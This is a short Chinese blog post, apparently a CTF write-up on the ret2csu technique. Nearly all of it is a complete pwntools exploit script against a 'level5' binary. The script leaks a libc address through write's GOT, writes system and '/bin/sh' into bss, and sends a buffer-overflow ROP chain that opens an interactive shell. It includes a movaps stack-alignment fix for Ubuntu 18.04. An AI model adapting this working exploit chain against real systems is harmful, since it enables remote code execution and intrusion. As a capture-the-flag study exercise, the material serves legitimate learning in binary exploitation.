Fork me on GitHub
pikachu's Blog

ret2csu

  • ctf-wikiret2csu ,对于 64 位程序,详细参考 ctf-wiki
  • 我的测试环境为 ubuntu18.04 ,因为这个环境卡了好久,多了一条指令,最后总是跳不过去
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
from pwn import *

local=1
pc='./level5'
aslr=True
context.log_level=True
#context.terminal = ["deepin-terminal","-x","sh","-c"]

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
level5 = ELF('./level5')

if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc,aslr=aslr)
#gdb.attach(p,'c')
else:
remote_addr=['111.198.29.45', 39802]
p=remote(remote_addr[0],remote_addr[1])

ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x ,drop=True)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
pi = lambda : p.interactive()

def dbg(b =""):
gdb.attach(p , b)
raw_input()

def lg(s, addr):
log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s,addr))

def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))

csu_front_addr = 0x400600
csu_end_addr = 0x40061a


def csu(rbx, rbp, r12, r13, r14, r15, last):

# pop rbx,rbp,r12,r13,r14,r15
# rbx should be 0,
# rbp should be 1,enable not to jump
# r12 should be the function we want to call
# rdi=edi=r15d
# rsi=r14
# rdx=r13

payload = 'a'*0x80
payload += 'b'*8

payload += p64(csu_end_addr)
payload += p64(rbx)
payload += p64(rbp)
payload += p64(r12)
payload += p64(r13)
payload += p64(r14)
payload += p64(r15)

payload += p64(csu_front_addr)

payload += 'c'*0x38
payload += p64(last)

sl(payload)
sleep(1)


if __name__ == '__main__':
write_plt = level5.plt['write']
write_got = level5.got['write']
start_addr = level5.symbols['_start']
bss_addr = level5.bss()
read_got = level5.got['read']

lg('write_plt', write_plt)
lg('write_got', write_got)
lg('start_addr', start_addr)
lg('bss_addr', bss_addr)

ru('Hello, World\n')

# write(1,write_got,8)
csu(0, 1, write_got, 8, write_got, 1, start_addr)

write_addr = u64(rv(8))
lg('write_addr', write_addr)
# 0x250

libc_base_addr = write_addr - libc.symbols['write']
lg('libc_base_addr', libc_base_addr)
system_addr = libc_base_addr + libc.symbols['system']
lg('system_addr', system_addr)
binsh_addr = libc_base_addr + libc.search("/bin/sh").next()
lg('binsh_addr', binsh_addr)

ru('Hello, World\n')

# read(0,bss_base,16)
# read system and /bin/sh\x00
csu(0, 1, read_got, 16, bss_addr, 0, start_addr)
sn(p64(system_addr)+'/bin/sh\x00')

# gdb.attach(p)
# pause()

ru('Hello, World\n')
# csu(0, 1, bss_addr, 0, 0, bss_addr+8, start_addr)

# system(bss_base+8)
payload = 'a'*0x80
payload += 'b'*8

# 就是这个地方多了一条movaps命令,所以跳不过去,所以需要pop rip一下,如果是ubuntu16.04应该是正常的
payload += p64(0x400624)

payload += p64(csu_end_addr)
payload += p64(0)
payload += p64(1)
payload += p64(bss_addr)
payload += p64(0)
payload += p64(0)
payload += p64(bss_addr+8)

payload += p64(csu_front_addr)

payload += 'c'*0x38
payload += p64(start_addr)

sl(payload)

pi()
---------------- The End ----------------
谢谢大爷~

Author:pikachu
Link:https://hitcxy.com/2020/ret2csu/
Contact:hitcxy.cn@gmail.com
本文基于 知识共享署名-相同方式共享 4.0 国际许可协议发布
转载请注明出处,谢谢!